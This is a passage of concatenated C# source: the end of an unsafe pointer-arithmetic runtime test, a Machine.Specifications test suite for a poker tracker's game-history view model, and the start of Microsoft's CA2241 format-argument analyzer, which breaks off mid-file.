AA.get_bv2(*(pb1 > pb2 ? pb2 : null)); } private static unsafe long test_148(long pb) { return AA.get_bv2(*((B*)pb)); } private static unsafe long test_155(double* pb, long i) { return AA.get_bv2(*((B*)(pb + i))); } private static unsafe long test_162(ref B b) { fixed (B* pb = &b) { return AA.get_bv3(ref *pb); } } private static unsafe long test_169(B* pb) { return AA.get_bv3(ref *(--pb)); } private static unsafe long test_176(B* pb, long i) { return AA.get_bv3(ref *(&pb[-(i << (int)i)])); } private static unsafe long test_183(AA* px) { return AA.get_bv3(ref *AA.get_pb(px)); } private static unsafe long test_190(long pb) { return AA.get_bv3(ref *((B*)checked((long)pb))); } private static unsafe long test_197(B* pb) { return (pb++)->m_bval == 100 ? 100 : 101; } private static unsafe long test_204(B[,] ab, long i, long j) { fixed (B* pb = &ab[i, j]) { return pb->m_bval == 100 ? 100 : 101; } } private static unsafe long test_211(B* pb1) { B* pb; return (pb = pb1 - 8)->m_bval == 100 ? 100 : 101; } private static unsafe long test_218(B* pb, B* pb1, B* pb2) { return (pb = pb + (pb2 - pb1))->m_bval == 100 ? 100 : 101; } private static unsafe long test_225(B* pb1, bool trig) { fixed (B* pb = &AA.s_x.m_b) { return (trig ? pb : pb1)->m_bval == 100 ? 100 : 101; } } private static unsafe long test_232(byte* pb) { return ((B*)(pb + 7))->m_bval == 100 ? 100 : 101; } private static unsafe long test_239(B b) { return AA.get_i1(&(&b)->m_bval); } private static unsafe long test_246() { fixed (B* pb = &AA.s_x.m_b) { return AA.get_i1(&pb->m_bval); } } private static unsafe long test_253(B* pb, long i) { return AA.get_i1(&(&pb[i * 2])->m_bval); } private static unsafe long test_260(B* pb1, B* pb2) { return AA.get_i1(&(pb1 >= pb2 ? pb1 : null)->m_bval); } private static unsafe long test_267(long pb) { return AA.get_i1(&((B*)pb)->m_bval); } private static unsafe long test_274(B* pb) { return AA.get_i2(pb->m_bval); } private static unsafe long test_281(B[] ab, long i) { fixed (B* pb = &ab[i]) { return AA.get_i2(pb->m_bval); } } private static unsafe long test_288(B* pb) { return AA.get_i2((pb += 6)->m_bval); } private static unsafe long test_295(B* pb, long[,,] i, long ii) { return AA.get_i2((&pb[++i[--ii, 0, 0]])->m_bval); } private static unsafe long test_302(AA* px) { return AA.get_i2(((B*)AA.get_pb_i(px))->m_bval); } private static unsafe long test_309(byte diff, A* pa) { return AA.get_i2(((B*)(((byte*)pa) + diff))->m_bval); } private static unsafe long test_316() { AA loc_x = new AA(0, 100); return AA.get_i3(ref (&loc_x.m_b)->m_bval); } private static unsafe long test_323(B[][] ab, long i, long j) { fixed (B* pb = &ab[i][j]) { return AA.get_i3(ref pb->m_bval); } } private static unsafe long test_330(B* pb1, long i) { B* pb; return AA.get_i3(ref (pb = (B*)(((byte*)pb1) + i * sizeof(B)))->m_bval); } private static unsafe long test_337(B* pb, long[,,] i, long ii, byte jj) { return AA.get_i3(ref (&pb[i[ii - jj, 0, ii - jj] = ii - 1])->m_bval); } private static unsafe long test_344(ulong ub, byte lb) { return AA.get_i3(ref ((B*)(ub | lb))->m_bval); } private static unsafe long test_351(long p, long s) { return AA.get_i3(ref ((B*)((p >> 4) | s))->m_bval); } private static unsafe long test_358(B[] ab) { fixed (B* pb = &ab[0]) { return AA.get_bv1(pb) != 100 ? 99 : 100; } } private static unsafe long test_365(B* pb) { return AA.get_bv1((++pb)) != 100 ? 99 : 100; } private static unsafe long test_372(B* pb, long[] i, long ii) { return AA.get_bv1((&pb[i[ii]])) != 100 ? 99 : 100; } private static unsafe long test_379(AA* px) { return AA.get_bv1((AA.get_pb_1(px) + 1)) != 100 ? 99 : 100; } private static unsafe long test_386(long pb) { return AA.get_bv1(((B*)checked(((long)pb) + 1))) != 100 ? 99 : 100; } private static unsafe long test_393(B* pb) { return pb + 1 > pb ? 100 : 101; } private static unsafe int Main() { AA loc_x = new AA(0, 100); AA.init_all(0); loc_x = new AA(0, 100); if (test_1(&loc_x.m_b) != 100) { Console.WriteLine("test_1() failed."); return 101; } AA.init_all(0); loc_x = new AA(0, 100); if (test_8(new B[] { new B(), new B(), loc_x.m_b }, 2) != 100) { Console.WriteLine("test_8() failed."); return 108; } AA.init_all(0); loc_x = new AA(0, 100); if (test_15(&loc_x.m_b - 6) != 100) { Console.WriteLine("test_15() failed."); return 115; } AA.init_all(0); loc_x = new AA(0, 100); if (test_22(&loc_x.m_b - 1, new long[,,] { { { 0 } }, { { 0 } } }, 2) != 100) { Console.WriteLine("test_22() failed."); return 122; } AA.init_all(0); loc_x = new AA(0, 100); if (test_29(&loc_x) != 100) { Console.WriteLine("test_29() failed."); return 129; } AA.init_all(0); loc_x = new AA(0, 100); if (test_36((byte)(((long)&loc_x.m_b) - ((long)&loc_x.m_a)), &loc_x.m_a) != 100) { Console.WriteLine("test_36() failed."); return 136; } AA.init_all(0); loc_x = new AA(0, 100); if (test_43() != 100) { Console.WriteLine("test_43() failed."); return 143; } AA.init_all(0); loc_x = new AA(0, 100); if (test_50(new B[][] { new B[] { new B(), new B() }, new B[] { new B(), loc_x.m_b } }, 1, 1) != 100) { Console.WriteLine("test_50() failed."); return 150; } AA.init_all(0); loc_x = new AA(0, 100); if (test_57(&loc_x.m_b - 8, 8) != 100) { Console.WriteLine("test_57() failed."); return 157; } AA.init_all(0); loc_x = new AA(0, 100); if (test_64(&loc_x.m_b - 1, new long[,,] { { { 0 } }, { { 0 } } }, 2, 2) != 100) { Console.WriteLine("test_64() failed."); return 164; } AA.init_all(0); loc_x = new AA(0, 100); if (test_71(((ulong)&loc_x.m_b) & (~(ulong)0xff), unchecked((byte)&loc_x.m_b)) != 100) { Console.WriteLine("test_71() failed."); return 171; } AA.init_all(0); loc_x = new AA(0, 100); if (test_78(((long)(&loc_x.m_b)) << 4, ((long)(&loc_x.m_b)) & 0xff000000) != 100) { Console.WriteLine("test_78() failed."); return 178; } AA.init_all(0); loc_x = new AA(0, 100); if (test_85(new B[] { loc_x.m_b }) != 100) { Console.WriteLine("test_85() failed."); return 185; } AA.init_all(0); loc_x = new AA(0, 100); if (test_92(&loc_x.m_b - 1) != 100) { Console.WriteLine("test_92() failed."); return 192; } AA.init_all(0); loc_x = new AA(0, 100); if (test_99(&loc_x.m_b - 1, new long[] { 0, 1 }, 1) != 100) { Console.WriteLine("test_99() failed."); return 199; } AA.init_all(0); loc_x = new AA(0, 100); if (test_106(&loc_x) != 100) { Console.WriteLine("test_106() failed."); return 206; } AA.init_all(0); loc_x = new AA(0, 100); if (test_113((long)(((long)&loc_x.m_b) - 1)) != 100) { Console.WriteLine("test_113() failed."); return 213; } AA.init_all(0); loc_x = new AA(0, 100); if (test_120(&loc_x.m_b) != 100) { Console.WriteLine("test_120() failed."); return 220; } AA.init_all(0); loc_x = new AA(0, 100); if (test_127(new AA[,] { { new AA(), new AA() }, { new AA(), loc_x } }, 2) != 100) { Console.WriteLine("test_127() failed."); return 227; } AA.init_all(0); loc_x = new AA(0, 100); if (test_134(&loc_x.m_b - 8, 8) != 100) { Console.WriteLine("test_134() failed."); return 234; } AA.init_all(0); loc_x = new AA(0, 100); if (test_141(&loc_x.m_b + 1, &loc_x.m_b) != 100) { Console.WriteLine("test_141() failed."); return 241; } AA.init_all(0); loc_x = new AA(0, 100); if (test_148((long)&loc_x.m_b) != 100) { Console.WriteLine("test_148() failed."); return 248; } AA.init_all(0); loc_x = new AA(0, 100); if (test_155(((double*)(&loc_x.m_b)) - 4, 4) != 100) { Console.WriteLine("test_155() failed."); return 255; } AA.init_all(0); loc_x = new AA(0, 100); if (test_162(ref loc_x.m_b) != 100) { Console.WriteLine("test_162() failed."); return 262; } AA.init_all(0); loc_x = new AA(0, 100); if (test_169(&loc_x.m_b + 1) != 100) { Console.WriteLine("test_169() failed."); return 269; } AA.init_all(0); loc_x = new AA(0, 100); if (test_176(&loc_x.m_b + 2, 1) != 100) { Console.WriteLine("test_176() failed."); return 276; } AA.init_all(0); loc_x = new AA(0, 100); if (test_183(&loc_x) != 100) { Console.WriteLine("test_183() failed."); return 283; } AA.init_all(0); loc_x = new AA(0, 100); if (test_190((long)(long)&loc_x.m_b) != 100) { Console.WriteLine("test_190() failed."); return 290; } AA.init_all(0); loc_x = new AA(0, 100); if (test_197(&loc_x.m_b) != 100) { Console.WriteLine("test_197() failed."); return 297; } AA.init_all(0); loc_x = new AA(0, 100); if (test_204(new B[,] { { new B(), new B() }, { new B(), loc_x.m_b } }, 1, 1) != 100) { Console.WriteLine("test_204() failed."); return 304; } AA.init_all(0); loc_x = new AA(0, 100); if (test_211(&loc_x.m_b + 8) != 100) { Console.WriteLine("test_211() failed."); return 311; } AA.init_all(0); loc_x = new AA(0, 100); if (test_218(&loc_x.m_b - 2, &loc_x.m_b - 1, &loc_x.m_b + 1) != 100) { Console.WriteLine("test_218() failed."); return 318; } AA.init_all(0); loc_x = new AA(0, 100); if (test_225(&loc_x.m_b, true) != 100) { Console.WriteLine("test_225() failed."); return 325; } AA.init_all(0); loc_x = new AA(0, 100); if (test_232(((byte*)(&loc_x.m_b)) - 7) != 100) { Console.WriteLine("test_232() failed."); return 332; } AA.init_all(0); loc_x = new AA(0, 100); if (test_239(loc_x.m_b) != 100) { Console.WriteLine("test_239() failed."); return 339; } AA.init_all(0); loc_x = new AA(0, 100); if (test_246() != 100) { Console.WriteLine("test_246() failed."); return 346; } AA.init_all(0); loc_x = new AA(0, 100); if (test_253(&loc_x.m_b - 2, 1) != 100) { Console.WriteLine("test_253() failed."); return 353; } AA.init_all(0); loc_x = new AA(0, 100); if (test_260(&loc_x.m_b, &loc_x.m_b) != 100) { Console.WriteLine("test_260() failed."); return 360; } AA.init_all(0); loc_x = new AA(0, 100); if (test_267((long)&loc_x.m_b) != 100) { Console.WriteLine("test_267() failed."); return 367; } AA.init_all(0); loc_x = new AA(0, 100); if (test_274(&loc_x.m_b) != 100) { Console.WriteLine("test_274() failed."); return 374; } AA.init_all(0); loc_x = new AA(0, 100); if (test_281(new B[] { new B(), new B(), loc_x.m_b }, 2) != 100) { Console.WriteLine("test_281() failed."); return 381; } AA.init_all(0); loc_x = new AA(0, 100); if (test_288(&loc_x.m_b - 6) != 100) { Console.WriteLine("test_288() failed."); return 388; } AA.init_all(0); loc_x = new AA(0, 100); if (test_295(&loc_x.m_b - 1, new long[,,] { { { 0 } }, { { 0 } } }, 2) != 100) { Console.WriteLine("test_295() failed."); return 395; } AA.init_all(0); loc_x = new AA(0, 100); if (test_302(&loc_x) != 100) { Console.WriteLine("test_302() failed."); return 402; } AA.init_all(0); loc_x = new AA(0, 100); if (test_309((byte)(((long)&loc_x.m_b) - ((long)&loc_x.m_a)), &loc_x.m_a) != 100) { Console.WriteLine("test_309() failed."); return 409; } AA.init_all(0); loc_x = new AA(0, 100); if (test_316() != 100) { Console.WriteLine("test_316() failed."); return 416; } AA.init_all(0); loc_x = new AA(0, 100); if (test_323(new B[][] { new B[] { new B(), new B() }, new B[] { new B(), loc_x.m_b } }, 1, 1) != 100) { Console.WriteLine("test_323() failed."); return 423; } AA.init_all(0); loc_x = new AA(0, 100); if (test_330(&loc_x.m_b - 8, 8) != 100) { Console.WriteLine("test_330() failed."); return 430; } AA.init_all(0); loc_x = new AA(0, 100); if (test_337(&loc_x.m_b - 1, new long[,,] { { { 0 } }, { { 0 } } }, 2, 2) != 100) { Console.WriteLine("test_337() failed."); return 437; } AA.init_all(0); loc_x = new AA(0, 100); if (test_344(((ulong)&loc_x.m_b) & (~(ulong)0xff), unchecked((byte)&loc_x.m_b)) != 100) { Console.WriteLine("test_344() failed."); return 444; } AA.init_all(0); loc_x = new AA(0, 100); if (test_351(((long)(&loc_x.m_b)) << 4, ((long)(&loc_x.m_b)) & 0xff000000) != 100) { Console.WriteLine("test_351() failed."); return 451; } AA.init_all(0); loc_x = new AA(0, 100); if (test_358(new B[] { loc_x.m_b }) != 100) { Console.WriteLine("test_358() failed."); return 458; } AA.init_all(0); loc_x = new AA(0, 100); if (test_365(&loc_x.m_b - 1) != 100) { Console.WriteLine("test_365() failed."); return 465; } AA.init_all(0); loc_x = new AA(0, 100); if (test_372(&loc_x.m_b - 1, new long[] { 0, 1 }, 1) != 100) { Console.WriteLine("test_372() failed."); return 472; } AA.init_all(0); loc_x = new AA(0, 100); if (test_379(&loc_x) != 100) { Console.WriteLine("test_379() failed."); return 479; } AA.init_all(0); loc_x = new AA(0, 100); if (test_386((long)(((long)&loc_x.m_b) - 1)) != 100) { Console.WriteLine("test_386() failed."); return 486; } AA.init_all(0); loc_x = new AA(0, 100); if (test_393((B*)1) != 100) { Console.WriteLine("test_393() failed."); return 493; } Console.WriteLine("All tests passed."); return 100; } }
namespace PokerTell.LiveTracker.Tests.ViewModels.Overlay { using System; using System.Drawing; using Infrastructure.Interfaces; using Machine.Specifications; using Moq; using PokerTell.Infrastructure.Interfaces.PokerHand; using PokerTell.LiveTracker.Interfaces; using PokerTell.LiveTracker.ViewModels.Overlay; using Tools.Interfaces; using Tools.Validation; using Tools.WPF.Interfaces; using It = Machine.Specifications.It; // Resharper disable InconsistentNaming public abstract class GameHistoryViewModelSpecs { protected static IGameHistoryViewModel _sut; protected static Mock<IHandHistoryViewModel> _handHistoryVM_Mock; protected static Mock<IConvertedPokerHand> _hand_Stub; protected static Mock<ISettings> _settings_Mock; protected static Mock<IDimensionsViewModel> _dimensionsVM_Mock; protected static Mock<IDispatcherTimer> _scrollToNewestHandTimer_Mock; Establish specContext = () => { _handHistoryVM_Mock = new Mock<IHandHistoryViewModel>(); _hand_Stub = new Mock<IConvertedPokerHand>(); _settings_Mock = new Mock<ISettings>(); _dimensionsVM_Mock = new Mock<IDimensionsViewModel>(); _dimensionsVM_Mock .Setup(d => d.InitializeWith(Moq.It.IsAny<Rectangle>())) .Returns(_dimensionsVM_Mock.Object); _scrollToNewestHandTimer_Mock = new Mock<IDispatcherTimer>(); _sut = new GameHistoryViewModel(_settings_Mock.Object, _dimensionsVM_Mock.Object, _handHistoryVM_Mock.Object, _scrollToNewestHandTimer_Mock.Object, new CollectionValidator()); }; [Subject(typeof(GameHistoryViewModel), "Instantiation")] public class when_it_is_instantiated : GameHistoryViewModelSpecs { static Rectangle returnedRectangle; Establish context = () => { returnedRectangle = new Rectangle(1, 1, 2, 2); _settings_Mock .Setup(s => s.RetrieveRectangle(GameHistoryViewModel.DimensionsKey, Moq.It.IsAny<Rectangle>())) .Returns(returnedRectangle); }; Because of = () => _sut = new GameHistoryViewModel(_settings_Mock.Object, _dimensionsVM_Mock.Object, _handHistoryVM_Mock.Object, _scrollToNewestHandTimer_Mock.Object, new CollectionValidator()); It should_ask_the_settings_for_its_dimensions_with_a_default_value = () => _settings_Mock.Verify(s => s.RetrieveRectangle(GameHistoryViewModel.DimensionsKey, Moq.It.IsAny<Rectangle>())); It should_initialize_the_dimensions_with_the_rectangle_returned_by_the_settings = () => _dimensionsVM_Mock.Verify(d => d.InitializeWith(returnedRectangle)); It should_assign_its_dimensions_to_the_initialized_dimensions = () => _sut.Dimensions.ShouldEqual(_dimensionsVM_Mock.Object); It should_set_the_interval_of_the_scroll_to_newest_hand_timer = () => _scrollToNewestHandTimer_Mock.VerifySet(t => t.Interval = Moq.It.IsAny<TimeSpan>()); } [Subject(typeof(GameHistoryViewModel), "Save Dimensions")] public class when_told_to_save_its_dimensions : GameHistoryViewModelSpecs { static Rectangle returnedRectangle; Establish context = () => { returnedRectangle = new Rectangle(1, 1, 2, 2); _dimensionsVM_Mock .SetupGet(d => d.Rectangle) .Returns(returnedRectangle); _sut = new GameHistoryViewModel(_settings_Mock.Object, _dimensionsVM_Mock.Object, _handHistoryVM_Mock.Object, _scrollToNewestHandTimer_Mock.Object, new CollectionValidator()); }; Because of = () => _sut.SaveDimensions(); It should_tell_the_settings_to_set_the_rectangle_for_its_key_to_the_one_returned_by_its_dimensions = () => _settings_Mock.Verify(s => s.Set(GameHistoryViewModel.DimensionsKey, returnedRectangle)); } [Subject(typeof(GameHistoryViewModel), "AddNewHand")] public class when_the_history_was_empty : GameHistoryViewModelSpecs { Because of = () => _sut.AddNewHand(_hand_Stub.Object); It should_update_the_CurrentHandHistory_viewmodel_with_the_passed_hand = () => _handHistoryVM_Mock.Verify(hvm => hvm.UpdateWith(Moq.It.Is<IConvertedPokerHand>(hh => hh.Equals(_hand_Stub.Object)))); It should_add_the_hand_to_the_History = () => _sut.HandCount.ShouldEqual(1); It should_set_the_currenthand_index_to_0 = () => _sut.CurrentHandIndex.ShouldEqual(0); } [Subject(typeof(GameHistoryViewModel), "AddNewHand")] public class when_the_history_already_contained_another_hand : GameHistoryViewModelSpecs { const string tableName = "some table"; Establish context = () => { _hand_Stub.SetupGet(h => h.TableName).Returns(tableName); _sut.AddNewHand(new Mock<IConvertedPokerHand>().Object); }; Because of = () => _sut.AddNewHand(_hand_Stub.Object); It should_update_the_CurrentHandHistory_viewmodel_with_the_passed_hand = () => _handHistoryVM_Mock.Verify(hvm => hvm.UpdateWith(Moq.It.Is<IConvertedPokerHand>(hh => hh.Equals(_hand_Stub.Object)))); It should_add_the_hand_to_the_History = () => _sut.HandCount.ShouldEqual(2); It should_set_the_currenthand_index_to_1 = () => _sut.CurrentHandIndex.ShouldEqual(1); It should_set_the_table_name_to_the_one_returned_by_the_new_hand = () => _sut.TableName.ShouldEqual(tableName); } [Subject(typeof(GameHistoryViewModel), "AddNewHand")] public class when_the_history_already_contained_the_same_hand : GameHistoryViewModelSpecs { Establish context = () => _sut.AddNewHand(_hand_Stub.Object); Because of = () => _sut.AddNewHand(_hand_Stub.Object); It should_not_update_the_CurrentHandHistory_viewmodel_with_the_passed_hand_again = () => _handHistoryVM_Mock.Verify(hvm => hvm.UpdateWith(Moq.It.Is<IConvertedPokerHand>(hh => hh.Equals(_hand_Stub.Object))), Times.Exactly(1)); It should_not_add_the_hand_to_the_history_again = () => _sut.HandCount.ShouldEqual(1); It should_leave_the_currenthand_index_at_0 = () => _sut.CurrentHandIndex.ShouldEqual(0); } [Subject(typeof(GameHistoryViewModel), "AddNewHand")] public class when_3_hands_were_added_before_and_the_current_hand_index_is_1_because_the_user_is_browsing : GameHistoryViewModelSpecs { Establish context = () => _sut.AddNewHand(new Mock<IConvertedPokerHand>().Object) .AddNewHand(new Mock<IConvertedPokerHand>().Object) .AddNewHand(new Mock<IConvertedPokerHand>().Object) .CurrentHandIndex = 1; Because of = () => _sut.AddNewHand(_hand_Stub.Object); It should_not_update_the_CurrentHandHistory_viewmodel_with_the_passed_hand = () => _handHistoryVM_Mock.Verify(hvm => hvm.UpdateWith(Moq.It.Is<IConvertedPokerHand>(hh => hh.Equals(_hand_Stub.Object))), Times.Never()); It should_add_the_hand_to_the_History = () => _sut.HandCount.ShouldEqual(4); It should_leave_the_currenthand_index_at_1 = () => _sut.CurrentHandIndex.ShouldEqual(1); It should_not_start_the_scroll_to_newest_hand_timer_again = () => _scrollToNewestHandTimer_Mock.Verify(t => t.Start(), Times.Once()); It should_stop_the_scroll_to_newest_hand_timer = () => _scrollToNewestHandTimer_Mock.Verify(t => t.Stop()); } [Subject(typeof(GameHistoryViewModel), "CurrentHandIndex")] public class when_3_hands_where_added_and_the_current_handindex_is_set_to_1 : GameHistoryViewModelSpecs { Establish context = () => _sut.AddNewHand(new Mock<IConvertedPokerHand>().Object) .AddNewHand(_hand_Stub.Object) .AddNewHand(new Mock<IConvertedPokerHand>().Object); Because of = () => _sut.CurrentHandIndex = 1; It should_update_the_CurrentHandHistory_with_the_hand_at_index_1 = () => _handHistoryVM_Mock.Verify(hvm => hvm.UpdateWith(Moq.It.Is<IConvertedPokerHand>(hh => hh.Equals(_hand_Stub.Object))), Times.Exactly(2)); It should_start_the_scroll_to_newest_hand_timer = () => _scrollToNewestHandTimer_Mock.Verify(t => t.Start()); } [Subject(typeof(GameHistoryViewModel), "CurrentHandIndex")] public class when_3_hands_where_added_and_the_current_handindex_is_set_to_2 : GameHistoryViewModelSpecs { Establish context = () => _sut.AddNewHand(new Mock<IConvertedPokerHand>().Object) .AddNewHand(new Mock<IConvertedPokerHand>().Object) .AddNewHand(_hand_Stub.Object); Because of = () => _sut.CurrentHandIndex = 2; It should_update_the_CurrentHandHistory_with_the_hand_at_index_2 = () => _handHistoryVM_Mock.Verify(hvm => hvm.UpdateWith(Moq.It.Is<IConvertedPokerHand>(hh => hh.Equals(_hand_Stub.Object))), Times.Exactly(2)); It should_not_start_the_scroll_to_newest_hand_timer = () => _scrollToNewestHandTimer_Mock.Verify(t => t.Start(), Times.Never()); It should_stop_the_scroll_to_newest_hand_timer = () => _scrollToNewestHandTimer_Mock.Verify(t => t.Stop()); } [Subject(typeof(GameHistoryViewModel), "CurrentHandIndex")] public class when_no_hands_were_added_and_I_try_to_set_the_CurrentHandIndex_to_0 : GameHistoryViewModelSpecs { Because of = () => _sut.CurrentHandIndex = 0; It should_not_update_the_CurrentHandHistory = () => _handHistoryVM_Mock.Verify(hvm => hvm.UpdateWith(Moq.It.IsAny<IConvertedPokerHand>()), Times.Never()); It should_not_start_the_scroll_to_newest_hand_timer = () => _scrollToNewestHandTimer_Mock.Verify(t => t.Start(), Times.Never()); } [Subject(typeof(GameHistoryViewModel), "CurrentHandIndex")] public class when_3_hands_where_added_and_the_current_handindex_was_set_to_1_and_the_scroll_to_newest_hand_timer_ticks : GameHistoryViewModelSpecs { Establish context = () => _sut.AddNewHand(new Mock<IConvertedPokerHand>().Object) .AddNewHand(_hand_Stub.Object) .AddNewHand(new Mock<IConvertedPokerHand>().Object) .CurrentHandIndex = 1; Because of = () => _scrollToNewestHandTimer_Mock.Raise(t => t.Tick += null, null, null); It should_set_the_CurrentHandIndex_to_2 = () => _sut.CurrentHandIndex.ShouldEqual(2); It should_stop_the_scroll_to_newest_hand_timer = () => _scrollToNewestHandTimer_Mock.Verify(t => t.Stop(), Times.Exactly(5)); } [Subject(typeof(GameHistoryViewModel), "Popin Command")] public class when_the_user_wants_to_pop_in_the_game_history : GameHistoryViewModelSpecs { static bool popMeInWasRaised; Establish context = () => _sut.PopMeIn += () => popMeInWasRaised = true; Because of = () => _sut.PopinCommand.Execute(null); It should_let_me_know = () => popMeInWasRaised.ShouldBeTrue(); } [Subject(typeof(GameHistoryViewModel), "Popout Command")] public class when_the_user_wants_to_pop_out_the_game_history : GameHistoryViewModelSpecs { static bool popMeOutWasRaised; Establish context = () => _sut.PopMeOut += () => popMeOutWasRaised = true; Because of = () => _sut.PopoutCommand.Execute(null); It should_let_me_know = () => popMeOutWasRaised.ShouldBeTrue(); } } }
// Copyright (c) Microsoft. All Rights Reserved. Licensed under the MIT license. See License.txt in the project root for license information. using System; using System.Collections.Generic; using System.Collections.Immutable; using System.Diagnostics.CodeAnalysis; using Analyzer.Utilities; using Analyzer.Utilities.Extensions; using Microsoft.CodeAnalysis; using Microsoft.CodeAnalysis.Diagnostics; using Microsoft.CodeAnalysis.Operations; namespace Microsoft.NetCore.Analyzers.Runtime { using static MicrosoftNetCoreAnalyzersResources; /// <summary> /// CA2241: Provide correct arguments to formatting methods /// </summary> [DiagnosticAnalyzer(LanguageNames.CSharp, LanguageNames.VisualBasic)] public class ProvideCorrectArgumentsToFormattingMethodsAnalyzer : DiagnosticAnalyzer { internal const string RuleId = "CA2241"; internal static readonly DiagnosticDescriptor Rule = DiagnosticDescriptorHelper.Create( RuleId, CreateLocalizableResourceString(nameof(ProvideCorrectArgumentsToFormattingMethodsTitle)), CreateLocalizableResourceString(nameof(ProvideCorrectArgumentsToFormattingMethodsMessage)), DiagnosticCategory.Usage, RuleLevel.BuildWarningCandidate, description: CreateLocalizableResourceString(nameof(ProvideCorrectArgumentsToFormattingMethodsDescription)), isPortedFxCopRule: true, isDataflowRule: false); public override ImmutableArray<DiagnosticDescriptor> SupportedDiagnostics { get; } = ImmutableArray.Create(Rule); public override void Initialize(AnalysisContext context) { context.EnableConcurrentExecution(); context.ConfigureGeneratedCodeAnalysis(GeneratedCodeAnalysisFlags.None); context.RegisterCompilationStartAction(compilationContext => { var formatInfo = new StringFormatInfo(compilationContext.Compilation); compilationContext.RegisterOperationAction(operationContext => { var invocation = (IInvocationOperation)operationContext.Operation; StringFormatInfo.Info? info = formatInfo.TryGet(invocation.TargetMethod, operationContext); if (info == null || invocation.Arguments.Length <= info.FormatStringIndex) { // not a target method return; } IArgumentOperation formatStringArgument = invocation.Arguments[info.FormatStringIndex]; if (!Equals(formatStringArgument?.Value?.Type, formatInfo.String) || !(formatStringArgument?.Value?.ConstantValue.Value is string)) { // wrong argument return; } var stringFormat = (string)formatStringArgument.Value.ConstantValue.Value; int expectedStringFormatArgumentCount = GetFormattingArguments(stringFormat); // explicit parameter case if (info.ExpectedStringFormatArgumentCount >= 0) { // __arglist is not supported here if (invocation.TargetMethod.IsVararg) { // can't deal with this for now. return; } if (info.ExpectedStringFormatArgumentCount != expectedStringFormatArgumentCount) { operationContext.ReportDiagnostic(operationContext.Operation.Syntax.CreateDiagnostic(Rule)); } return; } // ensure argument is an array IArgumentOperation paramsArgument = invocation.Arguments[info.FormatStringIndex + 1]; if (paramsArgument.ArgumentKind is not ArgumentKind.ParamArray and not ArgumentKind.Explicit) { // wrong format return; } if (paramsArgument.Value is not IArrayCreationOperation arrayCreation || arrayCreation.GetElementType() is not ITypeSymbol elementType || !Equals(elementType, formatInfo.Object) || arrayCreation.DimensionSizes.Length != 1) { // wrong format return; } // compiler generating object array for params case IArrayInitializerOperation intializer = arrayCreation.Initializer; if (intializer == null) { // unsupported format return; } // REVIEW: "ElementValues" is a bit confusing where I need to double dot those to get number of elements int actualArgumentCount = intializer.ElementValues.Length; if (actualArgumentCount != expectedStringFormatArgumentCount) { operationContext.ReportDiagnostic(operationContext.Operation.Syntax.CreateDiagnostic(Rule)); } }, OperationKind.Invocation); }); } private static int GetFormattingArguments(string format) { // code is from mscorlib // https://github.com/dotnet/coreclr/blob/bc146608854d1db9cdbcc0b08029a87754e12b49/src/mscorlib/src/System/Text/StringBuilder.cs#L1312 // return count of this format - {index[,alignment][:formatString]} var pos = 0; int len = format.Length; var uniqueNumbers = new HashSet<int>(); // main loop while (true) { // loop to find starting "{" char ch; while (pos < len) { ch = format[pos]; pos++; if (ch == '}') { if (pos < len && format[pos] == '}') // Treat as escape character for }} { pos++; } else { return -1; } } if (ch == '{') { if (pos < len && format[pos] == '{') // Treat as escape character for {{ { pos++; } else { pos--; break; } } } // finished with "{" if (pos == len) { break; } pos++; if (pos == len || (ch = format[pos]) < '0' || ch > '9') { // finished with "{x" return -1; } // searching for index var index = 0; do { index = index * 10 + ch - '0'; pos++; if (pos == len) { // wrong index format return -1; } ch = format[pos]; } while (ch >= '0' && ch <= '9' && index < 1000000); // eat up whitespace while (pos < len && (ch = format[pos]) == ' ') { pos++; } // searching for alignment var width = 0; if (ch == ',') { pos++; // eat up whitespace while (pos < len && format[pos] == ' ') { pos++; } if (pos == len) { // wrong format, reached end without "}" return -1; } ch = format[pos]; if (ch == '-') { pos++; if (pos == len) { // wrong format. reached end without "}" return -1; } ch = format[pos]; } if (ch is < '0' or > '9') { // wrong format after "-" return -1; } do { width = width * 10 + ch - '0'; pos++; if (pos == len) { // wrong width format return -1; } ch = format[pos]; } while (ch >= '0' && ch <= '9' && width < 1000000); } // eat up whitespace while (pos < len && (ch = format[pos]) == ' ') { pos++; } // searching for embedded format string if (ch == ':') { pos++; while (true) { if (pos == len) { // reached end without "}" return -1; } ch = format[pos]; pos++; if (ch == '{') { if (pos < len && format[pos] == '{') // Treat as escape character for {{ pos++; else return -1; } else if (ch == '}') { if (pos < len && format[pos] == '}') // Treat as escape character for }} { pos++; } else { pos--; break; } } } } if (ch != '}') { // "}" is expected return -1; } pos++; uniqueNumbers.Add(index); } // end of main loop return uniqueNumbers.Count; } private class StringFormatInfo { private const string Format = "format"; private readonly ImmutableDictionary<IMethodSymbol, Info> _map; public StringFormatInfo(Compilation compilation) { ImmutableDictionary<IMethodSymbol, Info>.Builder builder = ImmutableDictionary.CreateBuilder<IMethodSymbol, Info>(); INamedTypeSymbol? console = compilation.GetOrCreateTypeByMetadataName(WellKnownTypeNames.SystemConsole); AddStringFormatMap(builder, console, "Write"); AddStringFormatMap(builder, console, "WriteLine"); INamedTypeSymbol @string = compilation.GetSpecialType(SpecialType.System_String); AddStringFormatMap(builder, @string, "Format"); _map = builder.ToImmutable(); String = @string; Object = compilation.GetSpecialType(SpecialType.System_Object); } public INamedTypeSymbol String { get; } public INamedTypeSymbol Object { get; } public Info? TryGet(IMethodSymbol method, OperationAnalysisContext context) { if (_map.TryGetValue(method, out Info? info)) { return info; } // Check if this the underlying method is user configured string formatting method. var additionalStringFormatMethodsOption = context.Options.GetAdditionalStringFormattingMethodsOption(Rule, context.Operation.Syntax.SyntaxTree, context.Compilation); if (additionalStringFormatMethodsOption.Contains(method.OriginalDefinition) && TryGetFormatInfo(method, out info)) { return info; } // Check if the user configured automatic determination of formatting methods. // If so, check if the method called has a 'string format' parameter followed by an params array. var determineAdditionalStringFormattingMethodsAutomatically = context.Options.GetBoolOptionValue(EditorConfigOptionNames.TryDetermineAdditionalStringFormattingMethodsAutomatically, Rule, context.Operation.Syntax.SyntaxTree, context.Compilation, defaultValue: false); if (determineAdditionalStringFormattingMethodsAutomatically && TryGetFormatInfo(method, out info) && info.ExpectedStringFormatArgumentCount == -1) { return info; } return null; } private static void AddStringFormatMap(ImmutableDictionary<IMethodSymbol, Info>.Builder builder, INamedTypeSymbol? type, string methodName) { if (type == null) { return; } foreach (IMethodSymbol method in type.GetMembers(methodName).OfType<IMethodSymbol>()) { if (TryGetFormatInfo(method, out var formatInfo)) { builder.Add(method, formatInfo); } } } private static bool TryGetFormatInfo(IMethodSymbol method, [NotNullWhen(returnValue: true)] out Info? formatInfo) { formatInfo = default; int 